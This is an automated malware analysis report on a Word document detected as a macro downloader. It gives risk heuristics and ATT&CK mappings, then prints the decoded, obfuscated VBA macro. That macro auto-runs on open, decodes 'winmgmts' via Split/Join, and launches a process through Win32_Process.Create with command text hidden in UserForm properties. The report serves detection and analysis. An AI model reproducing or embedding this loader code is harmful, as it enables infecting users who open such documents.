MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of a downloader. The ClamAV detection 'Doc.Downloader.Sagent-9239670-0' further supports this. The macro's obfuscated nature and use of CreateObject suggest it is designed to fetch and execute additional malicious content.
Heuristics 7
-
ClamAV: Doc.Downloader.Sagent-9239670-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Sagent-9239670-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3972 bytes |
SHA-256: cefbd360bf33ee547bf013ba1f7080f9cec3406ae96d85dce65bb2b5f171c97f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "LSYIGloydkadgpsmq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
FWJGQhgdiwdhvqijdhm.JKUDDjogffkymy
End Sub
Attribute VB_Name = "FWJGQhgdiwdhvqijdhm"
Attribute VB_Base = "0{D0070351-25D6-4A8C-8916-F38A3F24D439}{64AC8935-82EE-4C75-B54D-6DB1DB73B29A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function JKUDDjogffkymy()
Dim j1Ì6Î As Integer
j1Ì6Î = 9
Do While j1Ì6Î < 9 + 9
j1Ì6Î = j1Ì6Î + 1: DoEvents
Loop
Dim QaWytUTJ As Integer
QaWytUTJ = Len("nyb6ÜfY")
Dim EMdBhGoOL As Integer
EMdBhGoOL = Len("UXBm")
HZYROclpfuto = Chr(FWJGQhgdiwdhvqijdhm.Zoom + ((30 + 60 + 30) / (4 + 4)))
Dim AVRUMwK As Object
AHMACsxuoxihnnqk = "3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bsw3833h4*hh^@njhs72g hus7777bsi3833h4*hh^@njhs72g hus7777bsnm3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bsgm3833h4*hh^@njhs72g hus7777bst3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bs" + HZYROclpfuto + "3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bs:3833h4*hh^@njhs72g hus7777bsw3833h4*hh^@njhs72g hus7777bsin3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bs33833h4*hh^@njhs72g hus7777bs23833h4*hh^@njhs72g hus7777bs_3833h4*hh^@njhs72g hus7777bs" + FWJGQhgdiwdhvqijdhm.QBAXVfnembfvparq + "3833h4*hh^@njhs72g hus7777bsro3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bsce3833h4*hh^@njhs72g hus7777bss3833h4*hh^@njhs72g hus7777bss3833h4*hh^@njhs72g hus7777bs"
Dim MoLW As Object
IEQLSxrtpskhd = VZLCUktoyvvudpcn(AHMACsxuoxihnnqk)
Dim aXw As Integer
aXw = 1
Do While aXw < 1 + 8
aXw = aXw + 9: DoEvents
Loop
Set XFXYNeuxihhn = CreateObject(IEQLSxrtpskhd)
Dim O1åA As Integer
O1åA = 6
Do While O1åA < 6 + 6
O1åA = O1åA + 3: DoEvents
Loop
ISZJEtdadsbxrivw = FWJGQhgdiwdhvqijdhm.PXHKUodnyraog.ControlTipText
Dim BZ1ÎWrm As Boolean
MTAKUrupfgzsymsv = b3 + (IEQLSxrtpskhd + HZYROclpfuto + FWJGQhgdiwdhvqijdhm.JHDMZmiadqkic.ControlTipText + ISZJEtdadsbxrivw)
Dim Lhs8ÝW8ÃZV As Integer
Lhs8ÝW8ÃZV = 4
Do While Lhs8ÝW8ÃZV < 4 + 5
Lhs8ÝW8ÃZV = Lhs8ÝW8ÃZV + 2: DoEvents
Loop
FQAPWrtofipr = MTAKUrupfgzsymsv + FWJGQhgdiwdhvqijdhm.QBAXVfnembfvparq
Dim P3áOQ As Object
Set KYYWFgaphtny = RPVZRjrlluxkmtpvuy(FQAPWrtofipr)
Dim fYLYIDH As Integer
fYLYIDH = Len("ZQfY")
s = Array(v + "is", XFXYNeuxihhn. _
Create(VGUKFtfhmhfynmzqfas, KAGOZmecqhseaozrcqy, KYYWFgaphtny), i + "rt")
Dim qZNvlj As Double
End Function
Function RPVZRjrlluxkmtpvuy(BTRKEpngpmvwofrf)
Set RPVZRjrlluxkmtpvuy = CreateObject(BTRKEpngpmvwofrf)
Dim oFNsCjHpPN As Double
RPVZRjrlluxkmtpvuy. _
showwindow = QWFOChhsepkcsppgiao + AYJNWoqwwkfgib + OVSMSelxbxqlkz
Dim w0ÎjMvtMr As Byte
End Function
Function VZLCUktoyvvudpcn(QFXQGxrlkfdarfjygbw)
RAKRWnkzrisqzikjqv = QFXQGxrlkfdarfjygbw
Dim rrv As Integer
rrv = 3
Do While rrv < 3 + 1
rrv = rrv + 4: DoEvents
Loop
NEIMUcafqjddbzpx = Split _
(RAKRWnkzrisqzikjqv, "3833h4*hh^@njhs72g hus7777bs")
Dim uRbu4Äf As Integer
uRbu4Äf = 8
Do While uRbu4Äf < 8 + 6
uRbu4Äf = uRbu4Äf + 2: DoEvents
Loop
EUNOLvzswnquww = e2 + Join(NEIMUcafqjddbzpx, w1)
Dim wE8e As Date
VZLCUktoyvvudpcn = EUNOLvzswnquww
Dim II0Í6àm8È As Variant
End Function
Function VGUKFtfhmhfynmzqfas()
q = FWJGQhgdiwdhvqijdhm.PCUZDpqgvmrnjbgt.Pages((2 * 5) / 10).Caption
Dim KcJ2ÑZNvlja As Integer
KcJ2ÑZNvlja = 4
Do While KcJ2ÑZNvlja < 4 + 5
KcJ2ÑZNvlja = KcJ2ÑZNvlja + 2: DoEvents
Loop
VGUKFtfhmhfynmzqfas = VZLCUktoyvvudpcn(q)
Dim WpUViEN As Integer
WpUViEN = 6
Do While WpUViEN < 6 + 4
WpUViEN = WpUViEN + 4: DoEvents
Loop
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.